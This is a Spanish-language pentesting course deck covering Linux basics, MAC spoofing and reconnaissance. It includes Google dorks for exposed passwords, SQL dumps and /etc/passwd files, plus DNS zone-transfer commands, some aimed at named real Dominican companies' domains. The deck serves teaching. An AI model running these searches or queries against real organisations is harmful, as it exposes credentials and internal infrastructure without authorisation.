Hacking y Pen Testing

November 17, 2017 | Author: Alfre Develope | Category: Unix, Berkeley Software Distribution, Security Hacker, System Software, Areas Of Computer Science
Share Embed Donate


Short Description

Descripción: Hacking y Pen Testing...

Description

Diplomado: Hacking & PenTesting Abril 12, 2016 [email protected] by: edwin grullón (amix) cel. 829.443.5875

Copyright Este documento está regido bajo los términos de la GNU Free Documentación License (GFDL) y la General Public License v3 (GPLv3).

Prefacio Este documento intenta proporcionar de una forma práctica y sencilla el manejo del Sistema Operativo Kali Linux y las técnicas profundas de Hacking y Pentesting abarcando así Escaneos de Hacking, Vulnerabilidades, Auditorias Wireless, Comandos GNU/Linux, Ingeniería Social, FootPrinting, Enumeración, Explotación, Passwords, Sniffers, Diccionarios, Frameworks, Web Hacking, etc.

Introducción…

Contenido: • • • • • • • • • • • •

Introducción Conceptos y Términos Recomendaciones Sobre la Infraestructura GNU/Linux Recolección de Información Enumeración Escaneos Análisis Vulnerabilidades Sniffers Cracking Wireless Networks Metasploit Intrusión

Contenido:

• • • • • • • • • • • •

Manteniendo el Acceso Escalando Privilegios en Linux SQL Injection XSS Pentesting a Aplicaciones Web Hacking Android con Metasploit Análisis Forense Pruebas de Estrés Programación de Scripts en Bash Configuración de un Web Server Configuración de un FTP Server Análisis de Logs

Hackers Se utiliza la palabra Hacker en su sentido original para describir a una persona que practica la programación y seguridad informática con una especie de pasión artística, o que forma parte o se identifica con la cultura de los hackers, es decir al grupo de personas que históricamente están en los orígenes del Internet, de Linux y de la World Wide Web.

Crackers El cracker, es considerado un "vandálico virtual". Este utiliza sus conocimientos para invadir sistemas, descifrar claves y contraseñas de programas y algoritmos de encriptación, ya sea para poder correr juegos sin un CD-ROM, o generar una clave de registro falsa para un determinado programa, robar datos personales, o cometer otros ilícitos informáticos.

Tipos de Hackers En términos generales y aproximándonos a una primera clasificación, existen tres tipos de Hackers:

White Hats: (Analistas de Seguridad): considerados los “chicos buenos”. Son aquellos que utilizan sus habilidades con propósitos defensivos. Grey Hats: Son aquellos Hackers que han trabajado tanto en forma defensiva como ofensiva, dependiendo de la situación. Black Hats: Considerados los “chicos malos”. Son aquellos que utilizan sus habilidades para realizar actividades ilegales y cumplir con propósitos maliciosos.

Como ser un Hacker real • • • • • • • • • • •

Debes adoptar la Cultura de los Hackers Debes de aprender a Programar Debes aprender bien Sistemas Operativos Debes saber sobre Seguridad Profunda Debes aprender Redes Debes saber Virtualizacion Debes saber Base de Datos Debes comunicarse con otros Hackers Conocer sobre Informatica en General Aportar a la comunidad Debes pensar como Hacker

Ques es una Prueba de Intrusión? • Es un intento proactivo y autorizado para evaluar la seguridad de una infraestructura de TI, tratando de manera segura explotar las vulnerabilidades de los sistemas, los servicios, fallas de aplicaciones, sistemas operativos, configuraciones incorrectas, e incluso el comportamiento de un usuario final peligroso. • La intención de una prueba de intrusión es el de determinar la posibilidad de un ataque real, la cantidad de impacto en el negocio de una explotación real, si es descubierta.

Niveles de Prueba de Intrusión

 White Box  Grey Box  Black Box

Tipos de Pruebas de Intrusión  Personas • Ingeniería Social • Concienciación en Seguridad • Simulaciones Phishing • Personal/Recurso Humano en Seguridad • Medios Sociales  Físico • CCTV/Sistemas de • Monitoreo • Auditorías en Seguridad • Depuración de Bug/Auditorias Inalámbricas • Seguridad en Centro de Datos

Tipos de Pruebas de Intrusión  Infraestructura • Sistemas Operativos • Bases de Datos • Routers, Switches, • Firewalls, VPN, RAS • Telefonía/Voz IP • Evasión de IPS/IDS  Aplicaciones • Web – net, php, xml, • http/s

Las Metodologías que Utilizamos Varias organizaciones han liberado metodologías libres para Pentesting. Estas proveen mucha información útil que nos ayudan a formalizar nuestro proceso de pruebas. Algunas son: • OSSTMM • OWASP • OWISAM

Fases en un PenTest

Fases de un Ciberdelincuente

Cumplimiento de Leyes Cumplimiento de Leyes y Aseguramiento • Reglas de Compromiso • Compromiso ético. • Propiedad Intelectual. • Limitaciones de responsabilidad. • Convenios de Confidencialidad. • Permiso de set de pruebas. • Leyes aplicables dentro del país – ley 53-07, 126-02, etc.

Seguridad Informática?

La seguridad informática es el área de las TIC que se enfoca en la protección de la infraestructura computacional y todo lo relacionado con esta, especialmente, la información contenida o circulante.

Seguridad de la Información?

Consiste en la preservación de su confidencialidad, integridad y disponibilidad, así como de los sistemas implicados en su tratamiento, dentro de una organización.

Que no es Seguridad?

    

Un producto (Anti-Virus, Firewall, IDS/IPS, etc.) Un módulo o fase de un Proyecto Estar al día, estar actualizado Usar tal o cual Marca, Framework, Sistema Operativo, etc. Alguna certificación de Seguridad “La seguridad es un proceso no un producto”

Ciber Amenazas y Ciber Ataques

Algunos Web Sites a mencionar: http://map.norsecorp.com http://www.digitalattackmap.com https://cybermap.kaspersky.com http://www.zone-h.org

La Deep WEB La “Deep Web”, como su nombre lo indica, no es parte de la “Surface Web”, que es la parte de Internet que utilizas todos los días para ver videos en YouTube, leer tu correo electrónico en Gmail, compartir fotos con tus amigos en Facebook, buscar información de Google, etc. La otra Internet, la llamada “Deep Web”, alberga tanto o más contenido que la “Surface Web”, pero para tener acceso a este contenido debemos conocer el mecanismo correcto para entrar ahí.

Que es el Phishing? El Phishing es un engaño que nos hacen enviándonos un correo como si fuera legitimo (ej. Nuestro banco) para acceder a una pagina que aparenta ser de nuestro banco, red social, correo, etc., haciendo que el estafador se quede con nuestras credenciales y así utilizarlas para luego acceder a nuestra cuenta.  Ejemplo: https://www.facebook.com

Certificados SSL/TLS Es un protocolo que hace uso de certificados digitales para establecer comunicaciones seguras a través de Internet. Recientemente ha sido sustituido por TLS (Transport Layer Security) el cual está basado en SSL y son totalmente compatibles. Te permite confiar información personal a sitios web, ya que tus datos se ocultan a través de métodos criptográficos mientras navegas en sitios seguros.

Certificados Digitales

Certificados en las Páginas Web

Es el principal protocolo de seguridad en internet. Se trata de una credencial electrónica que permite identificar a una entidad (persona, organización o dispositivo).

Ingeniería Social Ingeniería social es la práctica de obtener información confidencial a través de la manipulación de usuarios legítimos. Es una técnica que pueden usar ciertas personas, tales como investigadores privados, criminales, o delincuentes informáticos, para obtener información, acceso o privilegios en sistemas de información que les permitan realizar algún acto que perjudique o exponga la persona u organismo comprometido a riesgo o abusos. video

Otros Conceptos

• • • • • • • • • • •

DevOps PenTester Malware e-Mail Spoofing Vulnerabilidad Sniffers Phishing Pharming Defacers Ataques de DDoS Ignoto

• • • • • • • • • •

Exploit Payload Preackers Ransomware Esteganografía Cyber Security Cyber Crime Forensic Reverse Engineering Doxing

Que es una Vulnerabilidad?

Es una falla o debilidad que puede ser explotada para causar daño. Que es una evaluación de vulnerabilidad? Una evaluación de la vulnerabilidad es el proceso de identificar, cuantificar y priorizar las vulnerabilidades en un sistema.

Qué es un Hash?

Es una función que se encarga de representar de forma compacta a un archivo o conjunto de datos que normalmente son de mayor tamaño que el hash independientemente del propósito de su uso. Un uso que tiene esta función es la de garantizar la integridad de los datos y es algo que han visto muchas veces, por ejemplo en algunas webs que proporcionan descargas de archivos grandes, por ejemplo software, dando junto a su vez el resumen del archivo y la función usada.

Criptografía

Tradicionalmente se ha definido como el ámbito de la criptologia el que se ocupa de las técnicas de cifrado o codificado destinadas a alterar las representaciones de ciertos mensajes con el fin de hacerlos ininteligibles a receptores no autorizados. Estas técnicas se utilizan tanto en el Arte como en la Ciencia. El objetivo principal de la criptografía es conseguir la confidencialidad de los mensajes.

Recomendaciones sobre Infraestructura de TI

Infraestructura de TI

Recomendaciones cisecurity.org Para aplicar hardening a la mayoría de los servicios https://benchmarks.cisecurity.org/downloads/multiform

GNU/Linux • • • • • • • • • •

Historia de *NIX y GNU/Linux Software Libre Open Source Diferencia entre Software Libre y Open Source Distribuciones GNU/Linux Diferencia entre las Distribuciones Organización del Sistema Introducción a SystemD Comandos Básicos Editor VI/VIM

GNU/Linux Historia de UNIX Unix (registrado oficialmente como UNIX®) es un sistema operativo portable, multitarea y multiusuario; desarrollado, en principio, en 1969 por un grupo de empleados de los laboratorios Bell de AT&T, entre los que figuran Ken Thompson, Dennis Ritchie y Douglas McIlroy. UNIX es un Sistema Operativo no libre muy popular, porque está basado en una arquitectura que ha demostrado ser técnicamente estable. Familia UNIX AT&T, la familia que tuvo su origen en el UNIX de AT&T. Considerada la familia UNIX "pura" y original. Sus sistemas operativos más significativos son UNIX System III y UNIX System V.

GNU/Linux BSD son las iniciales de Berkeley Software Distribution (en español, Distribución de Software Berkeley) y se utiliza para identificar un sistema operativo derivado del sistema Unix nacido a partir de los aportes realizados a ese sistema por la Universidad de California en Berkeley. Algunos de los sistemas operativos que se basan en este modelo son los basados en BSD como: ● FreeBSD ● NetBSD ● OpenBSD ● DragonFlyBSD ● DesktopBSD ● PCBSD

GNU/Linux AIX esta familia surge por el licenciamiento de UNIX System III a IBM. Xenix es la familia derivada de la adquisición de los derechos originales de AT&T primero por parte de Microsoft y de esta los vendió a SCO. Tru64UNIX actualmente de Hewlett-Packard (antes de Compaq y originalmente de Digital Equipment Corporation). UnixWare y SCO OpenServer anteriormente de Santa Cruz Operation y ahora de SCO Group. UX/4800 de NEC.

GNU/Linux Oracle Solaris es uno de los sistemas operativos Unix más difundidos en el entorno empresarial y conocido por su gran estabilidad. Parte del código fuente de Solaris se ha liberado con licencia de fuentes abiertas (Open Solaris). HP-UX de Hewlett-Packard. Este sistema operativo también nació ligado a las computadoras departamentales de este fabricante. También es un sistema operativo estable que continua en desarrollo. Mac OS se trata de un UNIX completo, aprobado por The Open Group. Su diferencia marcada es que posee una interfaz gráfica propietaria llamada Aqua, y es principalmente desarrollada en Objective-C en lugar de C o C++.

GNU/Linux IRIX de Silicon Graphics Inc. GNU/Linux es un poderoso y sumamente versátil sistema operativo con licencia libre y que implementa el estándar POSIX (acrónimo de Portable Operating System Interface, que se traduce Como Interfaz de Sistema Operativo Portable).

GNU/Linux Software Libre El software libre es una cuestión de libertad, no de precio y para entender el concepto, deberíamos de pensar en libre como en “libre expresión”, no como en Cerveza Gratis. Open Source Otro grupo ha comenzado a usar el término “código abierto” (en inglés “open source”) que significa algo parecido (pero no idéntico) a software libre. Preferimos el término software libre porque, una vez que ha escuchado que se refiere a la libertad en lugar del precio, le hace pensar en la libertad. La palabra “abierto” nunca se refiere a la libertad.

GNU/Linux Diferencia entre Free Software y Open Source La diferencia radica en que Free Software representa la parte ética, moral mientras Open Source no. Tanto Open Source como Free Software son movimientos sociales, preocupados sobre lo que puedes o debes poder hacer (derechos) con los programas (software). Tienen diferencias filosóficas pero pocas diferencias prácticas.

Distribuciones GNU/Linux • Las principales: Debian, Red Hat, Slackware, Gentoo, entre otras.

• Existen otras que nacen a partir de una de estas como son: Debian: Ubuntu, Knoppix, Linux Mint, BackTracks, etc.

Red Hat: CentOS, Mandriva, Suse, Fedora, White Hat, Oracle Linux… • Diferencia entre las Distribuciones

Organización del Sistema GNU/Linux está organizado en una forma jerárquica. GNU/Linux considera cada archivo, directorio, dispositivo, y vínculo como un archivo colocado en esta estructura. En el sistema de ficheros de GNU/Linux, existen varias sub-jerarquías de directorios que poseen múltiples y diferentes funciones de almacenamiento y organización en todo el sistema. Estos directorios pueden clasificarse en: Estáticos: Contiene archivos que no cambian sin la intervención del administrador (root), sin embargo, pueden ser leídos por cualquier otro usuario. (/bin, /sbin, /opt, /boot, /usr/bin...). Dinámicos: Contiene archivos que son cambiantes, y pueden leerse y escribirse (algunos sólo por su respectivo usuario y el root). (/var/mail, /var/spool, /var/run, /var/lock, /home...).

GNU/Linux Introducción a SystemD Systemd es un nuevo sistema para la administración de dispositivos, eventos y servicios en GNU/Linux creado por Lennart Poettering. Es el reemplazo para sysvinit, upstart y udev en la mayoría de las distribuciones modernas. Se utiliza en CentOS 7, Red Hat Enterprise Linux 7 y versiones recientes de prácticamente todas las distribuciones de GNU/Linux, incluyendo Debian, Ubuntu y Fedora.

GNU/Linux Cont. SystemD A pesar de tratarse de tecnología de vanguardia, es compatible con los métodos utilizados en el pasado en SysV y LSB y las mejoras respecto de estos incluyen capacidades de activación de zócalos y buses que permiten una mejor ejecución en paralelo de servicios independientes y el uso de cgroups para realizar el seguimiento de los procesos del servicio en lugar de utilizar PIDs. Esto ultimo impide que los servicios puedan evadir la administración de systemd.

Comandos Basicos • ls • more • less • cat

• wc • mkdir • rmdir • rm

• cd

• • • • • • • • • • • •

head tail cp mv touch history free uptime df du ifconfig route

• • • • • • • • • • • •

file stat diff uname host hostname date cpuinfo cal bc dmidecode sudo

GNU/Linux • • • • • • • • • • • •

alias chown chmod shutdown halt poweroff reboot su file fdisk lspci lsusb

• • • • • • •

locate find cmospwd md5sum sha256sum sha512sum httrack

Comandos Basicos El commando ls Sirve para listar archivos ls –a ls –l ls –ltr ls –li Etc.

para listar los archivos ocultos para listar archivos en format largo para listar archivos en orden y con reversa para listar los inodes de los archivos

Los comandos less y more son paginadores que nos permiten visualizar archivos y poder leerlos paginas por paginas. less archivo more archivo El comando cat fue creado para concatenar archivos pero tambien se utiliza para ver el contenido de un archivo. cat archivo

o cat archivo1 archivo2 > archivo3 Esto para guardar el contenido de archivo 1 y 2 en el 3.

El comando wc se utiliza basicamente para contar caracteres, palabras y lineas de un archivo. wc archivo wc –l archivo wc –c archivo wc –m archivo El comando mkdir se utiliza para crear directories mkdir directorio1 directorio2 mkdir –p dir/clase/linux/{teoria,comando} mkdir –m 700 dir2

El comando rmdir se utiliza para borrar directorios pero que se encuentran vacios.

rmdir dir2 El comando rm se utiliza para borrar archivos y directories rm directorio1 rm –rf directorio2

Apagar el Sistema halt poweroff shutdown –h now Init 0 Para reinicio del Sistema reboot shutdown –r now init 6

El comando cd se utiliza para cambiar de directorio cd /var/log cd -

para volver al directorio anterior

cd ~

para ir al directorio home del usuario

cd ../../

para ir dos directorios hacia atras

El comando file se utliza para identificar el tipo de archive

file /etc/passwd file dir

Los commandos head y tail son utlizados para ver el encabezado y fin de un archivo, por default cada uno de estos presentan 10 lineas. head -5 /etc/passwd

para listar las primeras 5 lineas del archivo passwd

head –n 5 /etc/passwd tail -7 /etc/passwd

Listar las ultima 7 lineas del archivo /etc/passwd

tail +8 /etc/passwd

Listar todas las lineas de la 8 hacia abajo del archivo passwd

tail –f /var/log/message para ver cambios en tiempo real en el archivo

El comando cp se utiliza par copiar archivos. cp /etc/passwd . cp /etc/passwd /opt/happyhacking El comando se utiliza para mover archivos y tambien para cambiarle el nombre a los archivos. mv /opt/happyhacking . mv passwd edwin-passwd

El comando ara cambiar la fecha a un archivo y también para crear un archivo vacío. touch archivo

El formato de la fecha es AAMMDDhhmm.ss.

touch –a archivo

para fecha de acceso

touch –m archivo

para fecha de modificación

touch –am –t 0905231130

archivo para una fecha especifica

Comando diff se utiliza para comparar archivos diff archivo /etc/passwd diff –i archivo /etc/passwd

para ignorar mayúsculas y minúsculas Comando sleep se utiliza mayormente en scripts para hacer una parada en segunos. ls –l; sleep 3; clear Comando uptime se utiliza mayormente para ver tiempo que tiene un equipo iniciado uptime

Comando history se utiliza para ver el historial de comandos history

para ver el historial

history 18

para ver los ultimos 18 comandos

!!

Se utiliza para ejecutar el ultimo comando

!5

Se utiliza para ejecutar el comando 5

!upt

para ejecutar algun comando del history con nombre de inicio upt

Comando hostname básicamente es para saber el nombre de su equipo hostname hostname –i

para saber la ip de su equipo

Comando uname es para saber información del kernel, arquitectura, etc. uname –a uname –m igual al comando arch uname –r version del kernel Comando date nos presenta la fecha y hora del sistema date

Comando cal este comando presenta el calendario

cal 2003 cal 2018 cal Feb 2025 Comando bc es una calculadora en la consola bc bc –q

para que no despliegue mensaje

Identificar Información del Sistema Para información de la memoria RAM

free –m cat /proc/meminfo meminfo

Para información del CPU cpuinfo cat /proc/cpuinfo Para información de discos fdisk –l lsblk blkid

lspci –tv

Para interfaces y tarjetas

lsusb –tv

Para usb

cat /proc/mounts

Para sistemas de archivos montados

cat /proc/versión

Para versión del kernel

cat /proc/interrupts

Para interrupciones del sistema

Tipos de Archivos GNU/Linux • carácter

Tipo de Archivo

• -

Archivo Ordinario

• b

Block device/Dispositivo de Bloque

• c

Carácte r device/Dispositivo de carácte r

• d

Directorio

• l

Link/Vinculo

Básicamente existen tres permisos que pueden ser asignados a cualquier archivo o directorio, cada uno puede ser representado por una letra singular así: • 1. r (read/leer) • 1. w (write/escribir) • 2. x (execute/ejecutar)

• U = user

r =4

• G = grupos

w=2

• O = otros

x=1

Cómo afectan los permisos a los directorios:

• r

permite ver su contenido(no el de sus ficheros)

• w

permite añadir o eliminar ficheros (no modificarlos)

• x

permite acceder al directorio.

u

g

o

: usuarios

rwx

rwx

rwx

: permisos

Comando chmod Se utiliza para cambiar los permisos de los archivos: chmod ugo+rwx archivo

chmod –R a+x directorio chmod +rwx archivo3 chmod go-w archivo chmod uo=x archivo4 Otra forma directa chmod 644 archivo2 chmod –R 744 directorio2

Comando chown Se utiliza para cambiar el dueno o grupo de algun archivo o directorio. chown egrullon file1

cambiar el propietario a file1

chown –R egrullon.tecnologia directorio1

cambiar propietario y grupo

chown egrullon:mercadeo directorio4

cambiar propietario y grupo

chown .tecnologia directorio2

cambiar grupo al directorio

chown –R :contabilidad directorio5

cambiar grupo al directorio

chgrp contabilidad directorio3

cambiar grupo al directorio

Permisos especiales suid = 4 sgid = 2 sticky bit = 1 s: los atributos suid y sgid, otorgan a un "fichero" los permisos de su dueño o grupo respectivamente, cada vez que se ejecute, sea quien sea el que lo ejecute. t: el atributo sticky (pegajoso) hace que sólo el propietario del fichero pueda borrarlo. • chmod u+s file1 • chmod u-s file1 • chmod g+s file2 • chmod g-s file2 • chmod o+t file1 • chmod o-t file1

Mascara de permisos umask se utiliza para determinar los permisos que tendran los archivos Una manera rápida de averiguar los permisos partiendo de umask es aplicando la siguiente resta: 777-022=755 para el primer caso

777-000=777 para el segundo. Cuando umask es 022, los permisos normales de un directorio son 755 (rwx r-x r-x) producto de la resta 777-022. Sin embargo los de un fichero son 644 (rw-r--r--).

Ésto es así porque se considera que lo normal para un fichero es que no sea ejecutable de manera que la resta para averiguar los permisos de un fichero sería 666022 = 644. Si escribo en una consola umask 000 y a continuación "mkdir nuevodirectorio", éste tendrá todos los premisos: rwx rwx rwx (777) pero ¿y los ficheros que creemos dentro de dicho directorio? pues éstos tendrán los permisos rwrw-rw- (666) resultado de la resta 666-000 = 666.

Editor VI/VIM Vi / Vim Vi (Visual) es un programa informático que entra en la categoría de los editores de texto. Esto es así, pues a diferencia de un procesador de texto no ofrece herramientas para determinar visualmente cómo quedará el documento impreso. Es por esto que carece de opciones como centrado o justificación de párrafos, pero permite mover, copiar, eliminar o insertar caracteres con mucha versatilidad.

Editor VI/VIM Órdenes básicas Las órdenes más importantes que hay que saber son:

Moverse a la izquierda - h Moverse a la derecha - l Moverse arriba - k Moverse abajo - j

Insertar texto - i Borrar carácter - x

Editor VI/VIM Órdenes de salir de vi Salir sin grabar los cambios - :q Salir grabando los cambios - :x Salir grabando los cambios - :wq Salvar los cambios actuales - :w Salvar como fichero - :w fichero Insertar otro archivo desde el cursor fichero - :r fichero Editar otro fichero - :e fichero Editar siguiente fichero - :n Editar el anterior fichero - :prev

Editor VI/VIM Accediendo a Vi vi archivo-nuevo abre o crea un archivo vi /ruta-archivo/archivo abre o crea un archivo en la carpeta indicada vi r muestra archivos rescatados vi r archivo recupera archivos cerrados inadecuadamente vi archivo1 archivo2 abre múltiples archivos vi +n archivo abre el archivo y posiciona el cursor en la línea “n” vi +/palabra archivo abre el archivo y posiciona el cursor en la línea donde encuentra la palabra

Editor VI/VIM Estableciendo órdenes para Sustituir :s/actual/futuro sustituye la palabra 'actual' por 'futuro' en la línea actual. :s/actual/futuro/g sustituye todas las palabras 'actual' por 'futuro' en la línea actual.

:%s/actual/futuro/g sustituye todas las palabras 'actual' por 'futuro' en todo el archivo. :s/actual/futuro/g/c sustituye todas las palabras 'actual' por 'futuro' en todo el archivo y pide confirmación para efectuar los cambios.

Estableciendo opciones del archivo :set muestra las opciones con las que fue generado el archivo. :set all muestra el menú de opciones que pueden ser implementadas al archivo. :set no deshabilita alguna de las opciones implementadas al archivo. :set nu habilita la numeración de las líneas en Vi. :set nonu deshabilita la numeración de las líneas en Vi. 15@a para repetir una línea 15 veces o n cantidad de veces.

Utilitario macchanger Macchanger • ifconfig eth0 down

# primero bajar la interface de Red.

• macchanger -a eth0

# para asignar una Mac Address aleatoria.

• ifconfig eth0 up

# luego del cambio subir la interface de Red.

• macchanger -m 85:b2:d1:a0:00:01 eth0

# para asignar una Mac Address especifica.

• macchanger -r eth0

# para asignar una Mac Address Random.

• macchanger -p eth0

# para poner la Mac Address original.

• macchanger –s eth0

# para listar la Mac Address.

Nota: Con el comando ifconfig también podemos cambiar la Mac Address. • ifconfig eth0 down

• ifconfig eth0 hw ether a2:00:11:22:33:44 • ifconfig eth0 up

Utilitario netstat Netstat man netstat • netstat –vatn

# examinar todas las conexiones TCP.

• netstat –tulpn

# buscar puertos de red escuchando.

• netstat -an | grep ‘:80’

# para filtar todo por el Puerto 80.

• netstat -ap | grep ssh

# que programa está corriendo.

• netstat –a

# para ver todo tipo de sockets en pantalla.

• netstat –tupac

# para ver conexiones de red, internet local, aplicaciones en espera.

• netstat –ntpl

# solo puertos abiertos.

• netstat –putan

# para todos los puertos tcp, udp abiertos.

• netstat –antpx

# para conexiones tcp tipo unix.

Utilitario curl Curl man curl curl --help curl -v http://ftp.transunion.com.do

# para verificar la conexión hacia la URL

curl –I www.viva.com.do

# para ver las cabeceras del del web Server.

curl –k –v https://viva.com.do:443

# para verificar la conexión hacia la URL y con -k para el certificado.

curl ifconfig.me

# para verificar mi ip publica si estoy conectado en la Internet.

Utilitario fping Fping man fping fping -h fping -g 192.168.0.0/24 fping -g 192.168.0.0/24 2> /dev/null | grep alive fping -s -g 192.168.0.1 192.168.0.180

Detectar Rootkits en Linux Rkhunter y Chkrootkit Nota: Ambas herramientas se utilizan para detectar RootKits en sistemas tipo Unix. • rkhunter --help

# para la ayuda.

• rkhunter --update

# para actualizar la base de datos de rkhunter.

• rkhunter -c --sk

# para ejecutar rkhunter.

• chkrootkit --help

# para la ayuda.

• chkrootkit

# para ejecutar el chkrootkit.

Recoleccion de Informacion En esta etapa es donde se trata de recolectar toda la informacion possible del objetivo, ya sea via internet realizando Hacking con buscadores enfocado al objetivo OSINT, Revisar Versiones en Archive.org, Búsqueda Inversa de Imágenes y Logos, Whois, DNS, Reverse IP, Extracción y Análisis de Metadatos.

Recoleccion de Informacion FootPrinting (Reconocimiento) Esta definida como el proceso de creación de una “huella” o mapa de los sistemas y redes de organización. También podríamos definirlo a través de la recolección de información de una organización. El proceso de Footprinting comienza con la definición del sistema objetivo, aplicación o ubicación física del mismo. Una vez que esta información es definida se comenzara la búsqueda de forma no intrusiva. Objetivo: Mayor Cantidad de información sobre la red seleccionada. Tipo de Información: Cultura Organizacional y Personas Terminologías internas Infraestructura Técnica

Recoleccion de Informacion Cont. FootPrinting (Reconocimiento) El reconocimiento es el primer paso llevado a cabo por cualquier intruso potencial.

Tipos de Reconocimiento: Pasivo Activo

Recoleccion de Informacion Tipos de Reconocimientos: Pasivo El reconocimiento pasivo podría ser ejemplificado através de una persona observando el edificio de la organización (desde una distancia apreciable), tomando nota de los horarios del personal, el lugar de fumadores, la conducta de los guardias de seguridad ante determinados eventos, etc. Activo El reconocimiento activo, por otro lado, involucra un riesgo mucho mayor para el atacante de ser detectado, ya que este se encontrara interactuado directamente con el objetivo, ya sea realizando llamadas telefónicas o interactuando directamente con los dispositivos de comunicación del objetivo.

Recoleccion de Informacion Búsqueda de URL’s internas y externas Base de datos – WHOIS Consulta de registros del DNS Localizar rangos de direcciones IP(Externas/Internas) Búsqueda de información en Internet Traza de Rutas - Traceroute Extracción del Sitio Web Traza de Correo Electrónico – Mail Tracking Ingeniería Social Búsqueda de información en basureros – Dumpster diving Entre otras opciones….

Recoleccion de Informacion Enumeración de Recursos WHOIS, DNS En netcraft.com lo utilizamos para ver información de la IP pública de nuestro objetivo. En el buscador bing.com ver todos los subdominios de una IP de nuestro objetivo. Ejemplo: IP: 190.8.37.12

Recoleccion de Informacion Sitios web para realizar footprinting http://www.dnsstuff.com

http://dnscheck.pingdom.com http://fixedorbit.com http://www.geektools.com http://www.kartoo.com

http://www.netcraft.com http://www.robtext.com http://www.samspade.org http://www.whois.net

http://www.rwhois.net http://mxtoolbox.com https://geoiptool.com

Recoleccion de Informacion Extracción de información de sitios Web Shodan: El site https://www.shodan.io se utiliza para encontrar dispositivos que estén publicados a través de internet. Archive: El site www.archive.org se utiliza para ver el historial de cualquier página y poder sacar alguna información del viejo site.

Recoleccion de Informacion Extracción de información de sitios Web • https://scans.io • https://zmap.io • https://www.netdb.io • http://www.mrlooquer.com • https://www.censys.io SSLLabs: Para evaluar el certificado de algún site. https://www.ssllabs.com/ssltest/index.html

Recoleccion con Shodan • • • •

Snon VoIP Visualware MySpeed Server default password XAVi Analog Telephone Adaptor

• apache 2.2.3 • no authentication -VPN port 22 • • • • •

Default username and password Unique username and password Changing configurations show running -config iis/3.0

• javascript:SnapshotWin() • client.html • camera web

Recoleccion con Shodan • • • • • • • • • • • • • •

Snon VoIP Visualware MySpeed Server default password XAVi Analog Telephone Adaptor system security network wireless Accesslist audiovideo cameracontrol mailftp motion syslog

Recoleccion con Google Motores de Búsqueda (Google Hacking) Para busquedas en URL sobre nuestro objetivo. Para filtrar la busqueda y hacerla mucho mas directa. Ejemplo: • • • • • •

inurl:main.cgi Linksys site:com.do OR site:gob.do inurl:php site:gov.do site:taringa.net avg inurl:”CgiStart?Page=” intitle:"Index of" passwords modified

Recoleccion con Google • • • • • • • • • • •

intitle:"Index of" config.php site:viva.com.do +intranet –www + password site:viva.com.do ext:pdf site:viva.com.do intext:login (backup) intitle:"SpeedStream Router Management Interface" intitle:"index of" myshare filetype:reg reg hkey_current_user username inurl:backup intitle:index of inurl:admin ext:sql intext:"alter user" intext:"identified by" ext:sql "insert into * password" "index of/backup"

Recoleccion con Google • • • • • •

define:sql injection define:nepotismo site:taringa.net descargar windows 8.1 kali-linux filetype:pdf kali-linux filetype:pdf site:kali.org autor:guido van rossum filetype:pdf

Busqueda de configuraciones indexadas, archivos, upload, panel de admin: • index of / • “index of /” ( upload.cfm | upload.asp | upload.php | upload.cgi | upload.jsp | upload.pl ) • intitle:admin intitle:login

Recoleccion de Informacion Usuarios:

• intext:"root:x:0:0:root:/root:/bin/bash" inurl:*=/etc/passwd • filetype:reg reg hkey_current_user username • inurl:admin filetype:asp inurl:userlist Directorios compartidos, historiales de bash, sym, archivos de configuracion, recycler: • • • • •

intitle:"index of" myshare intitle:index.of intext:.bash_history index of inurl:sym intitle:index.of.config "index of" inurl:recycler

Recoleccion de Informacion Información sensible de wordpress, modulos CGI

• inurl:wp-content/wpbackitup_backups • inurl:/cgi-bin/.cgi • allinurl:/hide_my_wp=

Respaldos restringidos passwords, private, secret, protected • • • • • •

inurl:backup intitle:index of inurl:admin index.of.password index.of.private index.of.secret index.of.protected "index of/backup"

Recoleccion de Informacion Para Worpress, errores en php, nessus, usuarios y contrasenas • "select all / unselect all" inurl:server_export • ext:txt host password • ext:txt stealer password Cache, ext, web en busqueda de dorks, google alerts • pagina http://www.hackersforcharity.org/ghdb/ • ext:sql intext:"alter user" intext:"identified by" • https://www.google.com/alerts

Recoleccion de Informacion Archivo Robots • Robots y user-agent • robots o webcrawler • googlebot, bingbot Son utilizados para saber si la pagina web permite indexar o no los directorios listados en el archivo robots.txt. También el archivo readme.txt si es que lo tienen algunas paginas. Ejemplo: http://grupolibre.org/robots.txt

Recoleccion de Informacion Bing Hacking En el browser bing.com buscamos: • filetype:pdf site:gob.do • “--MySQLdump 10.11“ • ip:67.18.186.179

Otras localizaciones Foros, Grupos, Metadatos, etc. http://www.us-cert.gov http://www.securitytracker.com http://www.microsoft.com/security/default.mspx http://www.securityteam.com http://www.packetstormsecurity.com http://www.secunia.com http://www.securityfocus.com http://www.exploit-db.com http://www.hackerstorm.com http://www.zone-h.org http://http://cve.mitre.org http://www.frsirt.com

Notas Dispositivos para Hackers https://hakshop.myshopify.com usb rubber ducky wifi pineapple Etc…

Algunos Blogs de Seguridad Informatica muy Importantes www.elladodelmal.com www.securitybydefault.com www.dragonjar.org www.originalhacker.org www.kontrol0.com www.sniferl4bs.com

Enumeración

Enumeracion de Informacion Utilizando NETCRAFT http://www.netcraft.com

Enumeracion de Información Paginas para ver configuración DNS • https://dnsdumpster.com • http://dnscheck.pingdom.com • http://www.intodns.com • http://mydnstools.info

• http://www.dnsstuff.com • http://www.freednsinfo.com • http://www.dns-utils.com • https://dmarcian.com/dmarc-inspector/google.com • https://otalliance.org/resources/spf-dmarc-tools-record-validator

Enumeracion de Información Localiza IP • http://www.ip2location.com • http://kharkoma.homelinux.com/gmaps/gmapip.html • http://www.ip-adress.com • http://www.whatismyip.com • http://cmyip.com • https://geoiptool.com • http://www.my-ip-neighbors.com • http://whois.domaintools.com

• http://net.ipcalf.com

# para IP local

• https://panopticlick.eff.org

# para tu huella digital

Enumeracion de Informacion DNS (NSLOOKUP, Host, Dig) nslookup server ip-del-dns set q=mx

grupolibre.org set q=any grupolibre.org set type=a

grupolibre.org

Enumeracion de Informacion Consulta con Host host –h host –t MX viva.com.do host –t NX bpd.com.do host –t A qubit.do Consulta con Dig dig –h dig @8.8.8.8 google.com –t MX dig grupolibre.org –t A dig fsf.org –t AAAA +short

Enumeracion de Informacion Transferencia de Zonas Para ver versión de bind en DNS

dig @190.8.32.80 version.bind txt chaos Consulta transferencia de zonas

dig @8.8.8.8 viva.com.do –t axfr host –l bhdleon.com.do

